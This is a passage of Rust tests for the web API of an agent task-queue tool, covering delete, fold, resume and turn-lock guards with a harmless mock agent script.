17801 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
17802 let ui = delta_test_ui(&home);
17803 let query = |ids: Option<String>| {
17804 Query(ListQuery {
17805 limit: Some(50),
17806 ids,
17807 })
17808 };
17809 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
17810 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
17811 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
17812 let queue_id = queue
17813 .iter()
17814 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
17815 .unwrap_or(&queue[0])
17816 .task
17817 .id
17818 .clone();
17819 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
17820 .await
17821 .unwrap()
17822 .0;
17823 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
17824 .await
17825 .unwrap()
17826 .0;
17827 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
17828 .await
17829 .unwrap()
17830 .0;
17831 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
17832 eprintln!(
17833 "DELTA_PAYLOAD {}",
17834 serde_json::json!({
17835 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
17836 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
17837 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
17838 "counts": [queue.len(), runs.len(), talks.len()],
17839 "blocked": queue_delta.len() - 1,
17840 })
17841 );
17842 }
17843
17844 #[test]
17845 fn runs_revision_moves_when_deleting_an_older_run() {
17846 let temp = TempDir::new().expect("tempdir");
17847 let runs = temp.path().join("runs");
17848 std::fs::create_dir_all(&runs).expect("create runs dir");
17849
17850 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
17851
17852 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
17853 std::thread::sleep(Duration::from_millis(10));
17854 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
17855
17856 let rev_before = runs_revision(&runs);
17857 assert!(rev_before > 0);
17858
17859 let old_dir = runs.join("20260901-100000-old1");
17860 std::fs::remove_dir_all(&old_dir).expect("remove old run");
17861
17862 let rev_after = runs_revision(&runs);
17863 assert_ne!(
17864 rev_before, rev_after,
17865 "deleting an older run must change the revision so other clients see the deletion"
17866 );
17867 }
17868
17869 fn write_state(runs: &FsPath, state: &RunState) {
17874 let dir = runs.join(&state.id);
17875 std::fs::create_dir_all(&dir).expect("run dir");
17876 std::fs::write(
17877 dir.join("run.json"),
17878 serde_json::to_string_pretty(state).expect("serialize run"),
17879 )
17880 .expect("write run.json");
17881 }
17882
17883 #[test]
17888 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
17889 let temp = TempDir::new().expect("tempdir");
17890 let runs = temp.path().join("runs");
17891 std::fs::create_dir_all(&runs).expect("create runs dir");
17892 let mut state = RunState::new(
17893 PathBuf::from("/repo/magi"),
17894 "main".to_owned(),
17895 "0123456789abcdef".to_owned(),
17896 "task".to_owned(),
17897 Config::default(),
17898 );
17899 state.id = "20260902-100000-c0de".to_owned();
17900 write_state(&runs, &state);
17901
17902 let rev_idle = runs_revision(&runs);
17903 std::thread::sleep(Duration::from_millis(10));
17904 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
17905 write_state(&runs, &state);
17906 let rev_started = runs_revision(&runs);
17907 assert_ne!(
17908 rev_idle, rev_started,
17909 "a seat starting must move the revision"
17910 );
17911
17912 std::thread::sleep(Duration::from_millis(10));
17913 state.seat_finished("judge-1");
17914 write_state(&runs, &state);
17915 let rev_finished = runs_revision(&runs);
17916 assert_ne!(
17917 rev_started, rev_finished,
17918 "and clearing it again must move the revision a second time"
17919 );
17920 }
17921
17922 #[tokio::test]
17923 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
17924 let fx = Fixture::start().await;
17929 let q = fx.queue();
17930
17931 let mut t = Task::new(
17932 "Task".to_owned(),
17933 "Instruction".to_owned(),
17934 PathBuf::from("/repo"),
17935 Source::Human,
17936 );
17937 t.block(
17938 vec!["20260101-000000-dead".to_owned()],
17939 Some("waiting on Task 1".to_owned()),
17940 );
17941 t.answers.push(crate::queue::AnsweredQuestion {
17942 question: "Which backend?".to_owned(),
17943 answer: "SQLite".to_owned(),
17944 });
17945 q.put(&mut t).expect("put t");
17946
17947 let res = fx.get("/api/queue").await;
17948 assert_eq!(res.status, 200);
17949 let list = res.json();
17950 let view = list
17951 .as_array()
17952 .expect("array")
17953 .iter()
17954 .find(|v| v["id"] == t.id)
17955 .expect("task in list");
17956 assert_eq!(view["status_str"], "blocked");
17957 assert_eq!(
17958 view["blocked_by"],
17959 serde_json::json!(["20260101-000000-dead"])
17960 );
17961 assert_eq!(view["block_reason"], "waiting on Task 1");
17962 assert_eq!(view["answers"][0]["question"], "Which backend?");
17963 assert_eq!(view["answers"][0]["answer"], "SQLite");
17964
17965 let res = fx
17969 .post(&format!("/api/queue/{}/hold", t.short()), None)
17970 .await;
17971 assert_eq!(res.status, 200);
17972 let held = res.json();
17973 assert_eq!(held["status_str"], "held");
17974 assert_eq!(held["blocked_by"], serde_json::json!([]));
17975 assert!(held["block_reason"].is_null());
17976 assert_eq!(held["answers"][0]["answer"], "SQLite");
17977 }
17978
17979 #[tokio::test]
17980 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
17981 let fx = Fixture::start().await;
17982 let q = fx.queue();
17983 let mk = |title: &str| {
17984 Task::new(
17985 title.to_owned(),
17986 "Instruction".to_owned(),
17987 PathBuf::from("/repo"),
17988 Source::Human,
17989 )
17990 };
17991 let mut root = mk("root");
17992 root.hold_manual(Some("waiting".to_owned()));
17993 q.put(&mut root).unwrap();
17994 let mut mid = mk("mid");
17995 mid.block(vec![root.id.clone()], None);
17996 q.put(&mut mid).unwrap();
17997 let mut leaf = mk("leaf");
17998 leaf.block(vec![mid.id.clone()], None);
17999 q.put(&mut leaf).unwrap();
18000
18001 let list = fx.get("/api/queue").await.json();
18002 let find = |id: &str| {
18003 list.as_array()
18004 .unwrap()
18005 .iter()
18006 .find(|v| v["id"] == id)
18007 .unwrap()
18008 .clone()
18009 };
18010 let leaf_view = find(&leaf.id);
18011 assert_eq!(
18012 leaf_view["waits_on"],
18013 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
18014 );
18015 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
18016 assert_eq!(
18017 find(&mid.id)["waits_on"],
18018 serde_json::json!([format!("{} (held)", root.short())])
18019 );
18020 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
18021 }
18022
18023 #[tokio::test]
18024 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
18025 let fx = Fixture::start().await;
18026 let q = fx.queue();
18027
18028 let mut t1 = Task::new(
18030 "Task 1".to_owned(),
18031 "Instruction 1".to_owned(),
18032 PathBuf::from("/repo"),
18033 Source::Human,
18034 );
18035 let run_id = "20260901-000000-r111";
18036 t1.runs.push(run_id.to_owned());
18037 write_run(&fx.runs(), run_id, RunStatus::Merged);
18038 q.put(&mut t1).expect("put t1");
18039
18040 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
18042 assert_eq!(res.status, 204);
18043 assert!(res.body.is_empty(), "204 No Content has no body");
18044 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
18045 assert!(
18046 fx.runs().join(run_id).exists(),
18047 "run directory must not be deleted when its task is deleted"
18048 );
18049
18050 let mut t2 = Task::new(
18052 "Task 2".to_owned(),
18053 "Instruction 2".to_owned(),
18054 PathBuf::from("/repo"),
18055 Source::Human,
18056 );
18057 t2.status = TaskStatus::Running;
18058 q.put(&mut t2).expect("put t2");
18059 let mut beat = crate::daemon::Status::new();
18060 beat.current = vec![crate::daemon::Current {
18061 task: t2.id.clone(),
18062 run: "20260901-000000-r222".to_owned(),
18063 }];
18064 beat.updated_at = jiff::Timestamp::now();
18065 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18066 .expect("publish a heartbeat");
18067 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
18068 assert_eq!(res.status, 409);
18069 assert!(
18070 res.json()["error"]
18071 .as_str()
18072 .unwrap()
18073 .contains("live daemon")
18074 );
18075 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
18076
18077 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
18083 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18084 .expect("leave a stale heartbeat");
18085 let mut t3 = Task::new(
18086 "Task 3".to_owned(),
18087 "Instruction 3".to_owned(),
18088 PathBuf::from("/repo"),
18089 Source::Human,
18090 );
18091 t3.status = TaskStatus::Running;
18092 q.put(&mut t3).expect("put t3");
18093 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
18094 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
18095 assert_eq!(res.status, 204);
18096 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
18097 assert!(
18098 q.claim(&t3.id).is_ok(),
18099 "the stale lock went with it, so the id is claimable again"
18100 );
18101
18102 let res = fx.delete("/api/queue/nonexistent").await;
18104 assert_eq!(res.status, 404);
18105 }
18106
18107 #[tokio::test]
18108 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
18109 let fx = Fixture::start().await;
18110 let runs = fx.runs();
18111
18112 let run_id = "20260901-000000-fold";
18114 let mut state = RunState::new(
18115 PathBuf::from("/repo"),
18116 "main".to_owned(),
18117 "abc".to_owned(),
18118 "instruction".to_owned(),
18119 Config::default(),
18120 );
18121 state.id = run_id.to_owned();
18122 state.status = RunStatus::Merged;
18123 state.candidates.push(crate::run::Candidate {
18124 index: 0,
18125 label: 'A',
18126 agent: "a".to_owned(),
18127 branch: "b".to_owned(),
18128 worktree: PathBuf::from("/w"),
18129 summary: String::new(),
18130 stat: String::new(),
18131 files: 1,
18132 commits: 1,
18133 empty: false,
18134 failed: None,
18135 verified_noop: None,
18136 duration_ms: 0,
18137 folded: true,
18138 });
18139 let dir = runs.join(run_id);
18140 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
18141 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
18142 .expect("write artifact");
18143 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
18144 .expect("write run.json");
18145
18146 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
18148 assert_eq!(res.status, 204);
18149 assert!(res.body.is_empty(), "204 has no body");
18150 assert!(!dir.exists(), "run directory and artifacts must be deleted");
18151
18152 let run_running = "20260901-000000-rung";
18157 write_run(&runs, run_running, RunStatus::Prep);
18158 let mut beat = crate::daemon::Status::new();
18159 beat.current = vec![crate::daemon::Current {
18160 task: "20260901-000000-task".to_owned(),
18161 run: run_running.to_owned(),
18162 }];
18163 beat.updated_at = jiff::Timestamp::now();
18164 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18165 .expect("publish a heartbeat");
18166 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
18167 assert_eq!(res.status, 409);
18168 assert!(
18169 res.json()["error"]
18170 .as_str()
18171 .unwrap()
18172 .contains("live daemon"),
18173 "the refusal must say who is holding it"
18174 );
18175 assert!(
18176 runs.join(run_running).exists(),
18177 "a run in flight keeps its directory"
18178 );
18179
18180 let run_unfolded = "20260901-000000-unfd";
18182 let mut state2 = RunState::new(
18183 PathBuf::from("/repo"),
18184 "main".to_owned(),
18185 "abc".to_owned(),
18186 "instruction".to_owned(),
18187 Config::default(),
18188 );
18189 state2.id = run_unfolded.to_owned();
18190 state2.status = RunStatus::Ready;
18191 state2.candidates.push(crate::run::Candidate {
18192 index: 0,
18193 label: 'A',
18194 agent: "a".to_owned(),
18195 branch: "b".to_owned(),
18196 worktree: PathBuf::from("/w"),
18197 summary: String::new(),
18198 stat: String::new(),
18199 files: 1,
18200 commits: 1,
18201 empty: false,
18202 failed: None,
18203 verified_noop: None,
18204 duration_ms: 0,
18205 folded: false,
18206 });
18207 let dir2 = runs.join(run_unfolded);
18208 std::fs::create_dir_all(&dir2).expect("create dir2");
18209 std::fs::write(
18210 dir2.join("run.json"),
18211 serde_json::to_string(&state2).unwrap(),
18212 )
18213 .expect("write run.json");
18214
18215 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
18216 assert_eq!(res.status, 409);
18217 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
18218 assert!(dir2.exists(), "unfolded run directory is kept");
18219
18220 let res = fx.delete("/api/runs/nonexistent").await;
18222 assert_eq!(res.status, 404);
18223 }
18224
18225 #[test]
18234 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
18235 let start = APP_JS
18236 .find("function renderStats() {")
18237 .expect("renderStats");
18238 let end = start
18239 + APP_JS[start..]
18240 .find("function statsTile(")
18241 .expect("the next top-level function");
18242 let body = &APP_JS[start..end];
18243
18244 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
18245 let gate_end = gate_start
18246 + body[gate_start..]
18247 .find("}\n renderStatsQueue")
18248 .expect("the gate's own closing brace, right before the unconditional call");
18249 let gated = &body[gate_start..gate_end];
18250
18251 assert_eq!(
18252 body.matches("renderStatsQueue(").count(),
18253 1,
18254 "renderStats must call renderStatsQueue exactly once: {body}"
18255 );
18256 assert!(
18257 !gated.contains("renderStatsQueue"),
18258 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
18259 run-derived panels on an empty run history - the queue panel has to render \
18260 regardless: {gated}"
18261 );
18262 }
18263
18264 #[test]
18265 fn web_ui_delete_contract_in_front_end() {
18266 assert!(APP_JS.contains("deleteRun:"));
18268 assert!(APP_JS.contains("deleteTask:"));
18269
18270 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
18272 ..APP_JS.find("function renderRuns").unwrap()];
18273 assert!(!run_cards_slice.to_lowercase().contains("delete"));
18274
18275 assert!(APP_JS.contains("renderRunDelete"));
18277 assert!(APP_JS.contains("runDeleteReason"));
18278 assert!(APP_JS.contains("magi fold"));
18279 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
18280
18281 assert!(APP_JS.contains("cancel.focus"));
18283 assert!(APP_JS.contains("armedRunDelete"));
18284 assert!(APP_JS.contains("renderTaskDeleteBox"));
18285 assert!(APP_JS.contains("armed${cap(key)}"));
18286
18287 assert!(APP_JS.contains("disabled: status === \"running\""));
18289 }
18290
18291 #[test]
18311 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
18312 let build = APP_JS
18313 .find("function createRunCard")
18314 .expect("createRunCard exists");
18315 let update = APP_JS
18316 .find("function updateRunCard")
18317 .expect("updateRunCard exists");
18318 let end = APP_JS
18319 .find("function renderRuns")
18320 .expect("renderRuns exists");
18321
18322 let builder = &APP_JS[build..update];
18324 let open = builder.find("refs = {").expect("createRunCard sets refs");
18325 let literal = &builder[open + "refs = {".len()..];
18326 let close = literal.find('}').expect("the refs literal is closed");
18327 let published: HashSet<&str> = literal[..close]
18328 .split(',')
18329 .filter_map(|entry| entry.split(':').next())
18331 .map(str::trim)
18332 .filter(|name| !name.is_empty())
18333 .collect();
18334 assert!(
18335 published.len() > 5,
18336 "the refs literal did not parse into names: {published:?}"
18337 );
18338
18339 let mut used: Vec<&str> = Vec::new();
18342 let updaters = &APP_JS[update..end];
18343 for (at, _) in updaters.match_indices("r.") {
18344 let before = updaters[..at].chars().next_back();
18347 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
18348 continue;
18349 }
18350 let rest = &updaters[at + 2..];
18351 let len = rest
18352 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
18353 .unwrap_or(rest.len());
18354 if len > 0 {
18355 used.push(&rest[..len]);
18356 }
18357 }
18358 assert!(
18359 used.len() > 5,
18360 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
18361 );
18362
18363 let missing: Vec<&str> = used
18364 .iter()
18365 .copied()
18366 .filter(|name| !published.contains(name))
18367 .collect();
18368 assert!(
18369 missing.is_empty(),
18370 "a run card's updater reaches for {missing:?}, which `createRunCard` \
18371 never put in `refs` - every card will throw and the list will \
18372 render empty under a count line that says otherwise. Published: \
18373 {published:?}"
18374 );
18375 }
18376
18377 #[tokio::test]
18378 async fn folding_from_the_phone_reports_what_it_removed() {
18379 let fx = Fixture::start().await;
18380 let runs = fx.runs();
18381
18382 let id = "20260901-000000-fold";
18386 write_run(&runs, id, RunStatus::Stalled);
18387 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18388 assert_eq!(res.status, 200);
18389 assert_eq!(res.json()["removed_count"], 0);
18390 assert_eq!(res.json()["run"], id);
18391 assert!(
18392 runs.join(id).exists(),
18393 "a fold keeps the run's record; only the worktrees go"
18394 );
18395 }
18396
18397 #[tokio::test]
18398 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
18399 let fx = Fixture::start().await;
18400 let runs = fx.runs();
18401 let wt = fx.home.path().join("wt").join("magi").join("dead");
18402 let id = "20260901-000000-dead";
18403 std::fs::create_dir_all(runs.join(id)).expect("run dir");
18404 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
18405 std::fs::create_dir_all(&wt).expect("worktree dir");
18406
18407 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18408 assert_eq!(res.status, 200, "{}", res.body);
18409 assert!(
18410 res.json()["removed_count"].as_u64().unwrap() > 0,
18411 "the worktree this build could not read a state for still went"
18412 );
18413 assert!(
18414 !runs.join(id).exists(),
18415 "an unreadable run has no candidate list to fold selectively, so \
18416 the whole record goes - same as `magi fold` on the CLI"
18417 );
18418 }
18419
18420 #[tokio::test]
18421 async fn deleting_an_unreadable_run_removes_it_wholesale() {
18422 let fx = Fixture::start().await;
18423 let runs = fx.runs();
18424 let wt = fx.home.path().join("wt").join("magi").join("gone");
18425 let id = "20260901-000000-gone";
18426 std::fs::create_dir_all(runs.join(id)).expect("run dir");
18427 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
18428 std::fs::create_dir_all(&wt).expect("worktree dir");
18429
18430 let res = fx.delete(&format!("/api/runs/{id}")).await;
18431 assert_eq!(res.status, 204, "{}", res.body);
18432 assert!(!runs.join(id).exists(), "the broken record is gone");
18433 assert!(!wt.exists(), "its worktree is gone too");
18434 }
18435
18436 #[tokio::test]
18437 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
18438 let fx = Fixture::start().await;
18439 let runs = fx.runs();
18440 let id = "20260901-000000-live";
18441 write_run(&runs, id, RunStatus::Implementing);
18442
18443 let mut beat = crate::daemon::Status::new();
18444 beat.current = vec![crate::daemon::Current {
18445 task: "20260901-000000-task".to_owned(),
18446 run: id.to_owned(),
18447 }];
18448 beat.updated_at = jiff::Timestamp::now();
18449 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18450 .expect("publish a heartbeat");
18451
18452 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18453 assert_eq!(res.status, 409);
18454 assert!(
18455 res.json()["error"]
18456 .as_str()
18457 .unwrap()
18458 .contains("live daemon"),
18459 "folding under a running agent would pull its worktree away"
18460 );
18461 }
18462
18463 #[tokio::test]
18464 async fn fold_merged_requires_a_pr_url() {
18465 let fx = Fixture::start().await;
18466 let runs = fx.runs();
18467 let id = "20260901-000000-nourl";
18468 write_run(&runs, id, RunStatus::Blocked);
18469
18470 let res = fx
18471 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
18472 .await;
18473 assert_eq!(res.status, 400, "{}", res.body);
18474
18475 let blank = fx
18476 .post(
18477 &format!("/api/runs/{id}/fold-merged"),
18478 Some(r#"{"pr_url":" "}"#),
18479 )
18480 .await;
18481 assert_eq!(blank.status, 400, "{}", blank.body);
18482 }
18483
18484 #[tokio::test]
18485 async fn fold_merged_is_404_for_an_unknown_run() {
18486 let fx = Fixture::start().await;
18487 let res = fx
18488 .post(
18489 "/api/runs/nosuchrun/fold-merged",
18490 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18491 )
18492 .await;
18493 assert_eq!(res.status, 404, "{}", res.body);
18494 }
18495
18496 #[tokio::test]
18497 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
18498 let fx = Fixture::start().await;
18499 let runs = fx.runs();
18500 let id = "20260901-000000-livemerge";
18501 write_run(&runs, id, RunStatus::Blocked);
18502
18503 let mut beat = crate::daemon::Status::new();
18504 beat.current = vec![crate::daemon::Current {
18505 task: "20260901-000000-task".to_owned(),
18506 run: id.to_owned(),
18507 }];
18508 beat.updated_at = jiff::Timestamp::now();
18509 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18510 .expect("publish a heartbeat");
18511
18512 let res = fx
18513 .post(
18514 &format!("/api/runs/{id}/fold-merged"),
18515 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18516 )
18517 .await;
18518 assert_eq!(res.status, 409, "{}", res.body);
18519 assert!(
18520 res.json()["error"]
18521 .as_str()
18522 .unwrap()
18523 .contains("live daemon"),
18524 "correcting a run's merge underneath a running agent would race \
18525 whatever it is doing to the same `status`/`merge` fields"
18526 );
18527 }
18528
18529 #[tokio::test]
18534 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
18535 let fx = Fixture::start().await;
18536 let runs = fx.runs();
18537 let id = "20260901-000000-unconfirmed";
18538 write_run(&runs, id, RunStatus::Blocked);
18539
18540 let res = fx
18541 .post(
18542 &format!("/api/runs/{id}/fold-merged"),
18543 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18544 )
18545 .await;
18546 assert_eq!(res.status, 400, "{}", res.body);
18547 assert_eq!(
18548 read_run(&runs, id).unwrap().status,
18549 RunStatus::Blocked,
18550 "a pull request that could not be confirmed merged must leave \
18551 the run exactly where it was"
18552 );
18553 }
18554
18555 #[tokio::test]
18556 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
18557 let fx = Fixture::start().await;
18558 let runs = fx.runs();
18559
18560 for (status, word) in [
18566 (RunStatus::Merged, "merged"),
18567 (RunStatus::Ready, "ready"),
18568 (RunStatus::Failed, "failed"),
18569 ] {
18570 let id = format!("20260901-000000-{}", &word[..4]);
18571 write_run(&runs, &id, status);
18572 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
18573 assert_eq!(res.status, 409, "{word} must not be resumable");
18574 let err = res.json()["error"].as_str().unwrap().to_owned();
18575 assert!(err.contains(word), "the refusal names the status: {err}");
18576 }
18577
18578 let mid = "20260901-000000-midf";
18583 write_run(&runs, mid, RunStatus::Reviewing);
18584 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
18585 assert_eq!(res.status, 202, "an interrupted run is resumable");
18586 }
18587
18588 #[tokio::test]
18589 async fn resume_is_refused_while_the_loop_is_running() {
18590 let fx = Fixture::start().await;
18591 let runs = fx.runs();
18592 let stalled = "20260901-000000-stal";
18593 write_run(&runs, stalled, RunStatus::Stalled);
18594
18595 let mut beat = crate::daemon::Status::new();
18599 beat.current = vec![crate::daemon::Current {
18600 task: "20260901-000000-task".to_owned(),
18601 run: "20260901-000000-othr".to_owned(),
18602 }];
18603 beat.updated_at = jiff::Timestamp::now();
18604 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18605 .expect("publish a heartbeat");
18606
18607 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
18608 assert_eq!(res.status, 409);
18609 let err = res.json()["error"].as_str().unwrap().to_owned();
18610 assert!(err.contains("othr"), "it names what the loop is on: {err}");
18611 assert!(err.contains("stop it first"), "{err}");
18612 }
18613
18614 #[test]
18615 fn a_run_cannot_be_resumed_twice_at_once() {
18616 let home = TempDir::new().expect("temp home");
18617 let ui = Ui::new(
18618 Queue::at(home.path().join("queue")),
18619 Questions::at(home.path().join("questions")),
18620 Talks::at(home.path().join("talks")),
18621 home.path().join("runs"),
18622 home.path().to_path_buf(),
18623 PathBuf::from("/repo"),
18624 )
18625 .with_worktrees_root(home.path().join("wt"));
18626 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
18627 let again = ui.begin_resume("20260901-000000-once");
18628 assert!(again.is_err(), "a second tap must not start a second graph");
18629 drop(first);
18630 assert!(
18631 ui.begin_resume("20260901-000000-once").is_ok(),
18632 "and the claim is released when the attempt ends"
18633 );
18634 }
18635
18636 #[test]
18637 fn talk_thinking_tracks_only_its_held_turn_claim() {
18638 let home = TempDir::new().expect("temp home");
18639 let ui = Ui::new(
18640 Queue::at(home.path().join("queue")),
18641 Questions::at(home.path().join("questions")),
18642 Talks::at(home.path().join("talks")),
18643 home.path().join("runs"),
18644 home.path().to_path_buf(),
18645 PathBuf::from("/repo"),
18646 )
18647 .with_worktrees_root(home.path().join("wt"));
18648 let id = "20260901-000000-once";
18649
18650 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
18651 let turn = ui.begin_talk_turn(id).expect("claim turn");
18652 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
18653 assert!(
18654 !ui.is_thinking("20260901-000000-other"),
18655 "one talk's turn does not make another talk busy"
18656 );
18657 drop(turn);
18658 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
18659 }
18660
18661 #[test]
18662 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
18663 let home = TempDir::new().expect("temp home");
18664 let talks = Talks::at(home.path().join("talks"));
18665 let ui = Ui::new(
18666 Queue::at(home.path().join("queue")),
18667 Questions::at(home.path().join("questions")),
18668 talks.clone(),
18669 home.path().join("runs"),
18670 home.path().to_path_buf(),
18671 PathBuf::from("/repo"),
18672 )
18673 .with_worktrees_root(home.path().join("wt"));
18674 let id = "20260901-000000-cross";
18675
18676 let other = Talks::at(home.path().join("talks"))
18677 .claim_turn(id)
18678 .expect("claim")
18679 .expect("the other process wins");
18680 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
18681 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
18682 assert!(
18683 matches!(
18684 ui.begin_talk_turn_unless_pending(id).expect("start"),
18685 TalkTurnStart::Foreign
18686 ),
18687 "a foreign holder is refused, not queued behind"
18688 );
18689 assert!(
18690 !ui.talk_turns.lock().unwrap().live.contains(id),
18691 "a refused claim leaves no in-process entry behind"
18692 );
18693 drop(other);
18694 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
18695 assert!(talks.turn_held(id), "the web turn holds the lease");
18696 drop(turn);
18697 assert!(
18698 !talks.turn_held(id),
18699 "dropping the guard releases the lease"
18700 );
18701 }
18702
18703 fn consult_question(ui: &Ui) -> Question {
18704 let mut q = Question::new(
18705 "20260901-000000-consult".to_owned(),
18706 "implement".to_owned(),
18707 "impl-A".to_owned(),
18708 "Which backend?".to_owned(),
18709 String::new(),
18710 vec!["SQLite".to_owned(), "Redis".to_owned()],
18711 );
18712 ui.questions.put(&mut q).expect("question");
18713 q
18714 }
18715
18716 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
18717 (
18718 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
18719 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
18720 )
18721 }
18722
18723 #[tokio::test]
18724 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
18725 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18726 let q = consult_question(&ui);
18727 let talk = ui.talks.get(&id).expect("talk");
18728 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
18729 let before = consult_snapshot(&ui, &q, &id);
18730 let cli_talks = Talks::at(ui.home.join("talks"));
18731 assert_eq!(
18732 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
18733 .await
18734 .expect("CLI starter"),
18735 crate::consult::Started::Busy
18736 );
18737 assert_eq!(consult_snapshot(&ui, &q, &id), before);
18738 assert!(ui.is_thinking(&id));
18739 drop(guard);
18740 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
18741 }
18742
18743 #[tokio::test]
18744 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
18745 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18746 let q = consult_question(&ui);
18747 let talk = ui.talks.get(&id).expect("talk");
18748 let started = tmp.path().join("started");
18749 let release = tmp.path().join("release");
18750 let script = tmp.path().join("consult-agent.sh");
18751 std::fs::write(
18752 &script,
18753 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
18754 )
18755 .expect("script");
18756 let mut cfg = stub_config();
18757 cfg.agents[0].id = "mock".to_owned();
18758 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
18759 cfg.agents[0].env = std::collections::BTreeMap::from([
18760 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
18761 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
18762 ]);
18763 let questions = ui.questions.clone();
18764 let cli_talks = Talks::at(ui.home.join("talks"));
18765 let cli_q = q.clone();
18766 let turn = tokio::spawn(async move {
18767 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
18768 });
18769 let ready = tokio::time::timeout(Duration::from_secs(30), async {
18770 while !started.exists() {
18771 tokio::time::sleep(Duration::from_millis(10)).await;
18772 }
18773 })
18774 .await;
